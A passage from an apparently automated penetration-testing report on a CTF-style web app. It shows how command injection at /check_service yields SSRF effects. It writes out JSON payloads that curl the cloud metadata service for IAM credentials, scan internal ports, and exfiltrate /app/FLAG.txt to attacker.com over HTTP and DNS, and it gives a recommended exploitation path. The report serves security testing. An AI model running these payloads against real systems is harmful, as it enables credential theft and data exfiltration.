Once command injection is achieved (via the `/check_service` endpoint), an attacker can use these utilities to perform SSRF-like attacks:

**1. Cloud Metadata Service Access (AWS, GCP, Azure):**
```json
POST /check_service
{
  "service_name": "-t custom \"curl http://169.254.169.254/latest/meta-data/\""
}
```

This payload would:
- Bypass the application's lack of HTTP client code
- Access AWS instance metadata service
- Retrieve IAM credentials, instance details, user data

**2. Internal Network Scanning:**
```json
{
  "service_name": "-t custom \"curl http://internal-service:8080/admin\""
}
```

This enables:
- Probing internal services not accessible externally
- Bypassing network firewalls (requests originate from trusted container)
- Accessing internal APIs, databases, admin panels

**3. Port Scanning:**
```json
{
  "service_name": "-t custom \"for port in 22 80 443 3306 5432; do curl -m 1 http://internal-host:$port && echo $port open; done\""
}
```

**4. Data Exfiltration via SSRF:**
```json
{
  "service_name": "-t custom \"curl http://attacker.com/?data=$(cat /app/FLAG.txt)\""
}
```

**5. DNS Exfiltration:**
```json
{
  "service_name": "-t custom \"curl http://$(cat /app/FLAG.txt).attacker.com\""
}
```

**Exploitation Complexity:**

While this is technically a **command injection vulnerability enabling SSRF** rather than a direct SSRF vulnerability, the practical impact is identical. An attacker who exploits the command injection can perform all SSRF attack techniques by leveraging `curl`.

### Penetration Testing Implications

**SSRF Attack Vectors: NOT DIRECTLY APPLICABLE**

Traditional SSRF exploitation techniques (parameter manipulation, URL validation bypasses, protocol smuggling) are not applicable because the application has no URL handling code. However, **command injection should be exploited to achieve SSRF effects**:

**Recommended Exploitation Path:**
1. Exploit command injection vulnerability at `/check_service`
2. Use injected `curl` commands to probe internal network
3. Access cloud metadata services if deployed in AWS/GCP/Azure
4. Exfiltrate sensitive data via outbound HTTP requests to attacker-controlled servers

**Priority Assessment:**
- **Direct SSRF vulnerabilities:** NONE - Low priority for SSRF-specific testing
- **Command injection enabling SSRF:** CRITICAL - High priority for exploitation as secondary effect

---

**PRE-RECON CODE ANALYSIS COMPLETE**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-30T18:32:21.782Z